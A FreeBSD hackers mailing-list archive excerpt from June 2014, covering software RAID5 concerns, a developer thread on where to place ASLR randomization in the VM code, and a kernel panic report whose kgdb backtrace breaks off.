List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Jun 2014 11:43:26 -0000 Michael W. Lucas wrote this message on Wed, Jun 25, 2014 at 08:48 -0400: > Back in the day, vinum was a big deal. It's been replaced by > gvinum(8). And gvinum is the only in-base way to do OS-based RAID5. Well, there is at least one geom raid5 out there, just not in the base system: http://www.wgboome.org/geom_raid5-html Though doesn't look much up to date... > But I don't hear much about it. > > Is gvinum discouraged or slated for deprecation? Or is it merely less > popular now that everyone's jumped on the ZFS train? The problem w/ raid5 is that unless you have a battery backed cache, or a log, or something, you can end up corrupting your data... So, after a power crash, you have to rebuild all pairty, since you don't know which stripe didn't make it entirely to disk... If you don't rebuild and the parity made it to disk and the data didn't, a future data disk lose will corrupt the data on that stripe... And a rebuild after every power lose is a big cost, plus, what happens if the stress of the rebuild causes a disk to die? w/ ZFS and it's COW and raidz being more like RAID3, you never have to worry about the issues above.. So, if you care about your data, you don't do software RAID5, so what's the point of it then? :) -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 27 13:28:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3E93135C; Fri, 27 Jun 2014 13:28:14 +0000 (UTC) Received: from mail-qc0-x22c.google.com (mail-qc0-x22c.google.com [IPv6:2607:f8b0:400d:c01::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id DCE4A2E9F; Fri, 27 Jun 2014 13:28:13 +0000 (UTC) Received: by mail-qc0-f172.google.com with SMTP id o8so4507923qcw.3 for ; Fri, 27 Jun 2014 06:28:13 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=wjgWi0eXjki/G/0NVZyrCFh8hmIEUHDFpw4RBkfqYwI=; b=epuDQxdfZGK4uwNJOTwysXUJu5jUmjCPtpwSvUCRKOu8kSPRey1Elhg6YtRrcfaCVy PcSL4Iygk7G/+OutSsPyhMnYphREOD0ec9mBTOsqO7unhT9ktIBZZol4jECh1ichl31W se8+O5cXstVedMIIQd7qbOegtIpkG+s1rl3gGreK5Ins/NIAqGRmpBbfpI+ePNsVyTFU ggZMalkMMuKg77V8KRoksvmtwOph9SXLe2eA+Qhf5IMFLghV54J/yIXB9Njm2UP3OLb8 0QKUsWRKH6IJkTTv1yrue5ZV/Of3VBdVOZam5/G5IZzMc+g6sEIityjED/+zcNs3ZqG3 5H4g== X-Received: by 10.224.65.4 with SMTP id g4mr26594444qai.45.1403875693050; Fri, 27 Jun 2014 06:28:13 -0700 (PDT) Received: from pwnie.vrt.sourcefire.com (moist.vrt.sourcefire.com. [198.148.79.134]) by mx.google.com with ESMTPSA id v10sm16442086qaj.25.2014.06.27.06.28.12 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Fri, 27 Jun 2014 06:28:12 -0700 (PDT) Date: Fri, 27 Jun 2014 09:28:10 -0400 From: Shawn Webb To: Alan Cox Subject: Re: Help With ASLR Message-ID: <20140627132810.GA8396@pwnie.vrt.sourcefire.com> References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> <53ACE5B4.8070700@rice.edu> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="bg08WKrSYDhXBjb5" Content-Disposition: inline In-Reply-To: <53ACE5B4.8070700@rice.edu> X-PGP-Key: http://pgp.mit.edu/pks/lookup?op=vindex&search=0x6A84658F52456EEE User-Agent: Mutt/1.5.23 (2014-03-12) Cc: freebsd-hackers@freebsd.org, kib@freebsd.org, Oliver Pinter X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Jun 2014 13:28:14 -0000 --bg08WKrSYDhXBjb5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Jun 26, 2014 10:32 PM -0500, Alan Cox wrote: > On 06/26/2014 18:27, Shawn Webb wrote: > > Hey All, > > > > I've exchanged a few helpful emails with kib@. He has glanced over the > > ASLR patch we have against 11-CURRENT (which is also attached to this > > email as a reference point). He has suggested some changes to the VM > > subsystem that I'm having trouble getting my head wrapped around. > > > > Essentially, he suggests that instead of doing the randomization in > > various places like the ELF loader and sys_mmap, we should modify > > vm_map_find() in sys/vm/vm_map.c to apply the randomization there. > > > > Here's his suggestion in full (I hope he doesn't mind me directly > > quoting him): > > > > The mapping address randomization can only be performed in the > > vm_map_find(). This is the place where usermode mapping flags are > > already parsed, and the real decision for the placement is done, with > > all the contextual information collected, the fixed requests are not > > passed there. Doing the 'randomization' in vm_mmap() means that the > > mmap command must be parsed twice, which presented patch fails to do > > in any sane way. Only mappings in the usermode maps should be > > randomized. > > > > Current patch does not randomize the mapping location at all, it only > > randomizes the hint address passed from the userspace, which is > > completely useless. >=20 > Kostik, I'm not sure that I understand what you're saying here. The > randomly generated offset is added to the variable "addr" after this > block of code has been executed: >=20 > } else { > /* > * XXX for non-fixed mappings where no hint is provided or > * the hint would fall in the potential heap space, > * place it after the end of the largest possible heap. > * > * There should really be a pmap call to determine a > reasonable > * location. > */ > PROC_LOCK(td->td_proc); > if (addr =3D=3D 0 || > (addr >=3D round_page((vm_offset_t)vms->vm_taddr) && > addr < round_page((vm_offset_t)vms->vm_daddr + > lim_max(td->td_proc, RLIMIT_DATA)))) > addr =3D round_page((vm_offset_t)vms->vm_daddr + > lim_max(td->td_proc, RLIMIT_DATA)); > PROC_UNLOCK(td->td_proc); > } >=20 > So, the point at which the eventual call to vm_map_findspace() starts > looking for free space is determined by the randomization, and thus the > chosen address will be influenced by the randomization. The first > mmap() that I do in one execution of the program will be unlikely to > have the same address in the next execution. >=20 > That said, I think that this block of code would be a better place for > the pax_aslr_mmap() call than were it currently resides. Moving it here > would address the problem with MAP_32BIT mentioned below. >=20 >=20 > > ... It also fails to correct the address to honour > > the placement flags like MAP_32BIT or MAP_ALIGNMENT_MASK. >=20 >=20 > I think that MAP_32BIT is broken, but not MAP_ALIGNMENT_MASK. Whatever > address the patch causes to be passed into vm_map_find(), we will round > it up as necessary to achieve the requested alignment. >=20 > In some sense, the real effect of the map alignment directives, > including automatic alignment for superpages, is going to be to chop off > address bits that Shawn has worked to randomize. More on this below.=20 > See [*]. >=20 > > ... What must > > be done is vm_map_find() requesting vm_map_findspace() for the address > > hole of the size of the requested mapping + (number of address bits to > > randomize << PAGE_SHIFT). Then, the rng value should be obtained and > > final location for the mapping calculated as return value + (rng << > > PAGE_SHIFT). >=20 >=20 > This seems to be trying to implement a different and more complex scheme > than what Shawn is trying to implement. Specifically, suppose that we > have a program that creates 5 mappings with mmap(2). Call them M1, M2, > M3, M4, and M5, respectively. Shawn is perfectly happy for M1 to always > come before M2 in the address space, M2 to always come before M3, and so > on. He's not trying to permute their order in the address space from > one execution of the program to the next. He's only trying to change > their addresses from one execution to the next. The impression that I > got during the BSDCan presentation was that this is what other operating > systems were doing, and it was considered strike a reasonable balance > between run-time overhead and the security benefits. >=20 >=20 > > > > If no address space hole exists which can satisfy the enlarged > > request, either a direct fallback to the initial length should be > > performed (I prefer this), or exponential decrease of the length up to > > the initial size done, and findspace procedure repeated. > > > > Also, the vm_map_find() knows about the superpages hint for the > > mapping being performed, which allows to not break superpages. When > > superpage-aligned mapping is requested, SUPERPAGE_SHIFT (available > > from pagesizes[1]) should be used instead of PAGE_SHIFT in the formula > > above, and probably, a different amount of address bits in the page > > table page level 2 to randomize, selected. >=20 >=20 > [*] I agree with this last observation. I mentioned this possibility > to Shawn after his talk. On machines where pagesizes[1] is defined, > i.e., non-zero, it makes little sense to randomize the low-order address > bits that will be "rounded away" by aligning to pagesizes[1] boundary. >=20 >=20 > > > > =3D=3D=3D end of kib@ suggestions =3D=3D=3D > > > > I have a few concerns, though: > > > > 1) vm_map_find is also used when loading certain bits of data in the > > kernel (like KLDs, for example); > > 2) It's not possible to tell in vm_map_find if we're creating a mapping > > for the stack, the execbase, or any other suitable mmap call. We apply > > ASLR differently based on those three aspects; > > 3) vm_map_find is also used in initializing the VM system upon boot. > > What impacts would this cause? > > > > I would really appreciate any feedback. Thank you in advance for any > > help or guidance. >=20 > Shawn, while I'm here, I'll mention that what you were doing with stacks > in pax_aslr_mmap() seemed odd. Can you explain? > =20 >=20 Thank you for your input, Alan. From what it sounds like, you're suggesting we don't implement the ASLR functionality in vm_map_find() and we stick with what we have. Please correct me if I'm wrong. Did our changes break MAP_32BIT or was MAP_32BIT broken all along? If our ASLR patch breaks it, what would be the best way to fix it? I'm' a little unsure of your question regarding stacks in pax_aslr_mmap(). I don't believe we're doing anything with stacks in that function. We do have the function pax_aslr_stack(), but we're working on providing a more robust stack randomization (which isn't in the patchset I provided). Thanks, Shawn --bg08WKrSYDhXBjb5 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQIcBAEBAgAGBQJTrXFqAAoJEGqEZY9SRW7uJuMP/3JTUOrcBGyQnjg2oQMVGdAc IcpHWWPxPo4rWi2DaRM1bnHrULwR5WzTK+sG+hMTZGOJG5KmTNQ/gOkAnovNvLC8 CimbjyLeELSsRhe27krWi1lNFQn9LzL+o9m63L+WRNwwoG+TTt07KYwgoAGqre/f DkxsOwJ7/vJN6LVwDrSEFYec/Wt4OF7pGVGu2jvG7rNFdnN4/t9P/tyjP9I0G0yI rB09iyNGNN/1W0aamPbc7BI0qxYcuPfxvbTDPihGnX5WoU45LGI+fFIaTI+ZObbw 2w5cmoZ3RGEeiBaeUcFwuMUCOwjYjzNHBgRcYKm+xx19vDg4hOHDE5qsFfUvL+9f gpus4kwtIHjKWPrTIKyvVCq1tYvPT5SA3ZrD9uxtALOF/o77Kh8iD1qihGXh+Gp1 Fj+i+ieaStCHWQpw0ar+BWUn95c0mdX3jU1lPOmpptuYbUA0QqZAO39gX/+lZAIe 5HpdwHhJpjHhvk6wgW/1H5EalaIvSk00/fCpL+p7hAhxA8zY+JOQESnuaJkDVvUA A4cYvnXv18LQP6u0TGyoQkRxa0g1689BC6PKLdjDbpNa+TxqAYvSEgVfDdKRsLBh zvZYH12qqswzYqvGwSTmHKioORyQbVRonsrHctwqbQ9ICoyj9Xo1q7fHfuHK/HuA eEzYWJL9k7EA1E2jKX// =bEKp -----END PGP SIGNATURE----- --bg08WKrSYDhXBjb5-- From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 27 15:51:44 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9ECDBB30; Fri, 27 Jun 2014 15:51:44 +0000 (UTC) Received: from bigwig.baldwin.cx (bigwig.baldwin.cx [IPv6:2001:470:1f11:75::1]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 744192D80; Fri, 27 Jun 2014 15:51:44 +0000 (UTC) Received: from jhbbsd.localnet (unknown [209.249.190.124]) by bigwig.baldwin.cx (Postfix) with ESMTPSA id 50154B9C1; Fri, 27 Jun 2014 11:51:43 -0400 (EDT) From: John Baldwin To: freebsd-hackers@freebsd.org Subject: Re: Help With ASLR Date: Fri, 27 Jun 2014 11:07:06 -0400 User-Agent: KMail/1.13.5 (FreeBSD/8.4-CBSD-20140415; KDE/4.5.5; amd64; ; ) References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> <53ACE5B4.8070700@rice.edu> <20140627132810.GA8396@pwnie.vrt.sourcefire.com> In-Reply-To: <20140627132810.GA8396@pwnie.vrt.sourcefire.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Message-Id: <201406271107.07029.jhb@freebsd.org> X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.2.7 (bigwig.baldwin.cx); Fri, 27 Jun 2014 11:51:43 -0400 (EDT) Cc: Alan Cox , kib@freebsd.org, Oliver Pinter , Shawn Webb X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Jun 2014 15:51:44 -0000 On Friday, June 27, 2014 9:28:10 am Shawn Webb wrote: > On Jun 26, 2014 10:32 PM -0500, Alan Cox wrote: > > Kostik, I'm not sure that I understand what you're saying here. The > > randomly generated offset is added to the variable "addr" after this > > block of code has been executed: > > > > } else { > > /* > > * XXX for non-fixed mappings where no hint is provided or > > * the hint would fall in the potential heap space, > > * place it after the end of the largest possible heap. > > * > > * There should really be a pmap call to determine a > > reasonable > > * location. > > */ > > PROC_LOCK(td->td_proc); > > if (addr == 0 || > > (addr >= round_page((vm_offset_t)vms->vm_taddr) && > > addr < round_page((vm_offset_t)vms->vm_daddr + > > lim_max(td->td_proc, RLIMIT_DATA)))) > > addr = round_page((vm_offset_t)vms->vm_daddr + > > lim_max(td->td_proc, RLIMIT_DATA)); > > PROC_UNLOCK(td->td_proc); > > } > > > > So, the point at which the eventual call to vm_map_findspace() starts > > looking for free space is determined by the randomization, and thus the > > chosen address will be influenced by the randomization. The first > > mmap() that I do in one execution of the program will be unlikely to > > have the same address in the next execution. > > > > That said, I think that this block of code would be a better place for > > the pax_aslr_mmap() call than were it currently resides. Moving it here > > would address the problem with MAP_32BIT mentioned below. > > Did our changes break MAP_32BIT or was MAP_32BIT broken all along? If > our ASLR patch breaks it, what would be the best way to fix it? My reading of the above is your changes break it (it certainly worked when I tested it when it first went in, but it's also a fairly recent addition, as are the various alignment flags). I believe from the bit quoted above that Alan would like you to move your call to pax_aslr_mmap() to the code quoted above. -- John Baldwin From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 27 16:10:21 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B3123726; Fri, 27 Jun 2014 16:10:21 +0000 (UTC) Received: from pp1.rice.edu (proofpoint1.mail.rice.edu [128.42.201.100]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 73A172FCE; Fri, 27 Jun 2014 16:10:20 +0000 (UTC) Received: from pps.filterd (pp1.rice.edu [127.0.0.1]) by pp1.rice.edu (8.14.5/8.14.5) with SMTP id s5RG1g4W006535; Fri, 27 Jun 2014 11:10:19 -0500 Received: from mh3.mail.rice.edu (mh3.mail.rice.edu [128.42.199.10]) by pp1.rice.edu with ESMTP id 1mqfmxhd5b-1; Fri, 27 Jun 2014 11:10:19 -0500 X-Virus-Scanned: by amavis-2.7.0 at mh3.mail.rice.edu, auth channel Received: from 108-254-203-201.lightspeed.hstntx.sbcglobal.net (108-254-203-201.lightspeed.hstntx.sbcglobal.net [108.254.203.201]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) (Authenticated sender: alc) by mh3.mail.rice.edu (Postfix) with ESMTPSA id 8E2A440125; Fri, 27 Jun 2014 11:10:18 -0500 (CDT) Message-ID: <53AD976A.2000503@rice.edu> Date: Fri, 27 Jun 2014 11:10:18 -0500 From: Alan Cox User-Agent: Mozilla/5.0 (X11; FreeBSD i386; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Shawn Webb Subject: Re: Help With ASLR References: <20140626232727.GB1825@pwnie.vrt.sourcefire.com> <53ACE5B4.8070700@rice.edu> <20140627132810.GA8396@pwnie.vrt.sourcefire.com> In-Reply-To: <20140627132810.GA8396@pwnie.vrt.sourcefire.com> X-Enigmail-Version: 1.6 X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 spamscore=0 suspectscore=3 phishscore=0 adultscore=0 bulkscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1402240000 definitions=main-1406270171 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.18 Cc: freebsd-hackers@freebsd.org, kib@freebsd.org, Oliver Pinter X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Jun 2014 16:10:21 -0000 On 06/27/2014 08:28, Shawn Webb wrote: > On Jun 26, 2014 10:32 PM -0500, Alan Cox wrote: >> On 06/26/2014 18:27, Shawn Webb wrote: >>> Hey All, >>> >>> I've exchanged a few helpful emails with kib@. He has glanced over the >>> ASLR patch we have against 11-CURRENT (which is also attached to this >>> email as a reference point). He has suggested some changes to the VM >>> subsystem that I'm having trouble getting my head wrapped around. >>> >>> Essentially, he suggests that instead of doing the randomization in >>> various places like the ELF loader and sys_mmap, we should modify >>> vm_map_find() in sys/vm/vm_map.c to apply the randomization there. >>> >>> Here's his suggestion in full (I hope he doesn't mind me directly >>> quoting him): >>> >>> The mapping address randomization can only be performed in the >>> vm_map_find(). This is the place where usermode mapping flags are >>> already parsed, and the real decision for the placement is done, with >>> all the contextual information collected, the fixed requests are not >>> passed there. Doing the 'randomization' in vm_mmap() means that the >>> mmap command must be parsed twice, which presented patch fails to do >>> in any sane way. Only mappings in the usermode maps should be >>> randomized. >>> >>> Current patch does not randomize the mapping location at all, it only >>> randomizes the hint address passed from the userspace, which is >>> completely useless. >> >> Kostik, I'm not sure that I understand what you're saying here. The >> randomly generated offset is added to the variable "addr" after this >> block of code has been executed: >> >> } else { >> /* >> * XXX for non-fixed mappings where no hint is provided or >> * the hint would fall in the potential heap space, >> * place it after the end of the largest possible heap. >> * >> * There should really be a pmap call to determine a >> reasonable >> * location. >> */ >> PROC_LOCK(td->td_proc); >> if (addr == 0 || >> (addr >= round_page((vm_offset_t)vms->vm_taddr) && >> addr < round_page((vm_offset_t)vms->vm_daddr + >> lim_max(td->td_proc, RLIMIT_DATA)))) >> addr = round_page((vm_offset_t)vms->vm_daddr + >> lim_max(td->td_proc, RLIMIT_DATA)); >> PROC_UNLOCK(td->td_proc); >> } >> >> So, the point at which the eventual call to vm_map_findspace() starts >> looking for free space is determined by the randomization, and thus the >> chosen address will be influenced by the randomization. The first >> mmap() that I do in one execution of the program will be unlikely to >> have the same address in the next execution. >> >> That said, I think that this block of code would be a better place for >> the pax_aslr_mmap() call than were it currently resides. Moving it here >> would address the problem with MAP_32BIT mentioned below. >> >> >>> ... It also fails to correct the address to honour >>> the placement flags like MAP_32BIT or MAP_ALIGNMENT_MASK. >> >> >> I think that MAP_32BIT is broken, but not MAP_ALIGNMENT_MASK. Whatever >> address the patch causes to be passed into vm_map_find(), we will round >> it up as necessary to achieve the requested alignment. >> >> In some sense, the real effect of the map alignment directives, >> including automatic alignment for superpages, is going to be to chop off >> address bits that Shawn has worked to randomize. More on this below. >> See [*]. >> >>> ... What must >>> be done is vm_map_find() requesting vm_map_findspace() for the address >>> hole of the size of the requested mapping + (number of address bits to >>> randomize << PAGE_SHIFT). Then, the rng value should be obtained and >>> final location for the mapping calculated as return value + (rng << >>> PAGE_SHIFT). >> >> >> This seems to be trying to implement a different and more complex scheme >> than what Shawn is trying to implement. Specifically, suppose that we >> have a program that creates 5 mappings with mmap(2). Call them M1, M2, >> M3, M4, and M5, respectively. Shawn is perfectly happy for M1 to always >> come before M2 in the address space, M2 to always come before M3, and so >> on. He's not trying to permute their order in the address space from >> one execution of the program to the next. He's only trying to change >> their addresses from one execution to the next. The impression that I >> got during the BSDCan presentation was that this is what other operating >> systems were doing, and it was considered strike a reasonable balance >> between run-time overhead and the security benefits. >> >> >>> >>> If no address space hole exists which can satisfy the enlarged >>> request, either a direct fallback to the initial length should be >>> performed (I prefer this), or exponential decrease of the length up to >>> the initial size done, and findspace procedure repeated. >>> >>> Also, the vm_map_find() knows about the superpages hint for the >>> mapping being performed, which allows to not break superpages. When >>> superpage-aligned mapping is requested, SUPERPAGE_SHIFT (available >>> from pagesizes[1]) should be used instead of PAGE_SHIFT in the formula >>> above, and probably, a different amount of address bits in the page >>> table page level 2 to randomize, selected. >> >> >> [*] I agree with this last observation. I mentioned this possibility >> to Shawn after his talk. On machines where pagesizes[1] is defined, >> i.e., non-zero, it makes little sense to randomize the low-order address >> bits that will be "rounded away" by aligning to pagesizes[1] boundary. >> >> >>> >>> === end of kib@ suggestions === >>> >>> I have a few concerns, though: >>> >>> 1) vm_map_find is also used when loading certain bits of data in the >>> kernel (like KLDs, for example); >>> 2) It's not possible to tell in vm_map_find if we're creating a mapping >>> for the stack, the execbase, or any other suitable mmap call. We apply >>> ASLR differently based on those three aspects; >>> 3) vm_map_find is also used in initializing the VM system upon boot. >>> What impacts would this cause? >>> >>> I would really appreciate any feedback. Thank you in advance for any >>> help or guidance. >> >> Shawn, while I'm here, I'll mention that what you were doing with stacks >> in pax_aslr_mmap() seemed odd. Can you explain? >> >> > > Thank you for your input, Alan. From what it sounds like, you're > suggesting we don't implement the ASLR functionality in vm_map_find() > and we stick with what we have. Please correct me if I'm wrong. Yes. I interpreted Kostik's email as implicitly proposing a different specification for how mmap()-created mappings should be handled than you started from. In other words, if you're not trying to permute the order in which mappings appear in the address space from execution to execution, but only shift the entire group of mappings around a bit, then you don't need to modify vm_map_find(). You can stick with changing sys_mmap(). That said, I'm inferring how you intended mmap()-created mappings to be handled from looking at the code and statements that you made during your presentation. Are my two emails correctly describing what you intended to do with mmap()-created mappings? I do, however, think that you're calling pax_aslr_mmap() at an inopportune point in sys_mmap(). Hopefully, that was clear in my previous email. > > Did our changes break MAP_32BIT or was MAP_32BIT broken all along? If > our ASLR patch breaks it, what would be the best way to fix it? I suspect but I'm not certain that your patch breaks calls to mmap(MAP_32BIT). But, if you move the call to pax_aslr_mmap() to the place that I mentioned before, then pax_alsr_mmap() simply won't be called when MAP_32BIT or MAP_FIXED are passed to mmap(). > > I'm' a little unsure of your question regarding stacks in > pax_aslr_mmap(). I don't believe we're doing anything with stacks in > that function. We do have the function pax_aslr_stack(), but we're > working on providing a more robust stack randomization (which isn't in > the patchset I provided). mmap(MAP_STACK) is used to create thread stacks. The following code didn't make sense to me: + if (!(td->td_proc->p_vmspace->vm_map.flags & MAP_ENTRY_GROWS_DOWN)) + *addr += td->td_proc->p_vmspace->vm_aslr_delta_mmap; + else + *addr -= td->td_proc->p_vmspace->vm_aslr_delta_mmap; MAP_ENTRY_GROWS_DOWN is not a valid vm map flag. Moreover, the subtraction case doesn't make sense to me. From owner-freebsd-hackers@FreeBSD.ORG Fri Jun 27 19:30:56 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8E8D972D for ; Fri, 27 Jun 2014 19:30:56 +0000 (UTC) Received: from mx2.ord1.rackspace.com (mx2.ord1.rackspace.com [173.203.4.136]) (using TLSv1 with cipher RC4-SHA (128/128 bits)) (Client CN "IronPort Appliance Demo Certificate", Issuer "IronPort Appliance Demo Certificate" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 265E52404 for ; Fri, 27 Jun 2014 19:30:55 +0000 (UTC) X-SBRS: None X-SenderGroup: RELAYLIST-US X-MailFlowPolicy: $RELAYED-US X-IronPort-AV: E=McAfee;i="5600,1067,7471"; a="323318831" X-IronPort-AV: E=Sophos;i="5.01,489,1400043600"; d="scan'208";a="323318831" Received: from ord1exh01.rackspace.corp ([10.12.120.25]) by mx2.ord1.rackspace.com with ESMTP/TLS/AES128-SHA; 27 Jun 2014 14:30:42 -0500 Received: from rstark.munix.us (10.1.69.56) by smtpout.rackspace.com (10.12.120.25) with Microsoft SMTP Server (TLS) id 14.3.123.3; Fri, 27 Jun 2014 14:30:29 -0500 Message-ID: <53ADC58C.901@rackspace.com> Date: Fri, 27 Jun 2014 14:27:08 -0500 From: Ryan Stark User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.6.0 MIME-Version: 1.0 To: Subject: request for assistance with kernel panic in FreeBSD-10.0-p6 X-Enigmail-Version: 1.6 Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Originating-IP: [10.1.69.56] X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 27 Jun 2014 19:30:56 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Hello Hackers, Please let me know if this is not the appropriate audience for these questions. First time posting to this list. =) I have been having panic issues with a FreeBSD desktop system since installing 10.0 on it in January. I have run memtest on the system and it passes a weekend of testing fine. FreeBSD 9.x never had any issues with this hardware. I only seem to get the panics when upgrading ports on 10.0; libreoffice seems to trigger to panic consistently, as will openjdk6. Otherwise, the system is stable and will run fine for months on end without reboot or panic. I have never had to troubleshoot kernel panics in FreeBSD, and would appreciate any assistance or pointers in helping me narrow done what is causing these panics and if there is a way to resolve them. /var/log/messages right before reboot: Jun 27 10:05:17 rstark savecore: reboot after panic: bad pte va a01b59000 pte f000ff53f000fe6e Jun 27 10:05:18 rstark savecore: writing core to /var/crash/vmcore.3 uname -a FreeBSD rstark.munix.us 10.0-RELEASE-p6 FreeBSD 10.0-RELEASE-p6 #0 r260997M: Fri Jun 27 11:24:54 CDT 2014 root@rstark.munix.us:/usr/obj/usr/src/sys/GENERIC amd64 root@rstark /usr/obj/usr/src/sys/GENERIC]# kgdb kernel.debug /var/crash/vmcore.3 GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "amd64-marcel-freebsd"... Unread portion of the kernel message buffer: panic: bad pte va a01b59000 pte f000ff53f000fe6e cpuid = 3 KDB: stack backtrace: #0 0xffffffff808e7e70 at kdb_backtrace+0x60 #1 0xffffffff808af955 at panic+0x155 #2 0xffffffff80c873e7 at pmap_remove_pages+0x677 #3 0xffffffff80b10570 at vmspace_exit+0xa0 #4 0xffffffff8087c74f at exit1+0x65f #5 0xffffffff8087c0ee at sys_sys_exit+0xe #6 0xffffffff80c8f037 at amd64_syscall+0x357 #7 0xffffffff80c7572b at Xfast_syscall+0xfb Uptime: 18h46m15s Dumping 3766 out of 16282 MB:..1% (CTRL-C to abort) (CTRL-C to abort) (CTRL-C to abort) (CTRL-C to abort) ..11%..21%..31%..41%..51%..61%..71%..81%..91% Reading symbols from /boot/kernel/fdescfs.ko.symbols...done. Loaded symbols for /boot/kernel/fdescfs.ko.symbols Reading symbols from /boot/kernel/linprocfs.ko.symbols...done. Loaded symbols for /boot/kernel/linprocfs.ko.symbols Reading symbols from /boot/kernel/linux.ko.symbols...done. Loaded symbols for /boot/kernel/linux.ko.symbols Reading symbols from /boot/kernel/linsysfs.ko.symbols...done. Loaded symbols for /boot/kernel/linsysfs.ko.symbols Reading symbols from /boot/kernel/zfs.ko.symbols...done. Loaded symbols for /boot/kernel/zfs.ko.symbols Reading symbols from /boot/kernel/opensolaris.ko.symbols...done. Loaded symbols for /boot/kernel/opensolaris.ko.symbols Reading symbols from /boot/kernel/geom_eli.ko.symbols...done. Loaded symbols for /boot/kernel/geom_eli.ko.symbols Reading symbols from /boot/kernel/crypto.ko.symbols...done. Loaded symbols for /boot/kernel/crypto.ko.symbols Reading symbols from /boot/kernel/aesni.ko.symbols...done. Loaded symbols for /boot/kernel/aesni.ko.symbols Reading symbols from /boot/modules/nvidia.ko...done. Loaded symbols for /boot/modules/nvidia.ko Reading symbols from /boot/kernel/sem.ko.symbols...done. Loaded symbols for /boot/kernel/sem.ko.symbols Reading symbols from /boot/kernel/pty.ko.symbols...done. Loaded symbols for /boot/kernel/pty.ko.symbols Reading symbols from /boot/kernel/ums.ko.symbols...done. Loaded symbols for /boot/kernel/ums.ko.symbols Reading symbols from /boot/kernel/uhid.ko.symbols...done. Loaded symbols for /boot/kernel/uhid.ko.symbols Reading symbols from /boot/kernel/pflog.ko.symbols...done. Loaded symbols for /boot/kernel/pflog.ko.symbols Reading symbols from /boot/kernel/pf.ko.symbols...done. Loaded symbols for /boot/kernel/pf.ko.symbols #0 0xffffffff808af7c5 in doadump (textdump=0) at /usr/src/sys/kern/kern_shutdown.c:253 253 if (dumping) (kgdb) where #0 0xffffffff808af7c5 in doadump (textdump=0) at /usr/src/sys/kern/kern_shutdown.c:253 #1 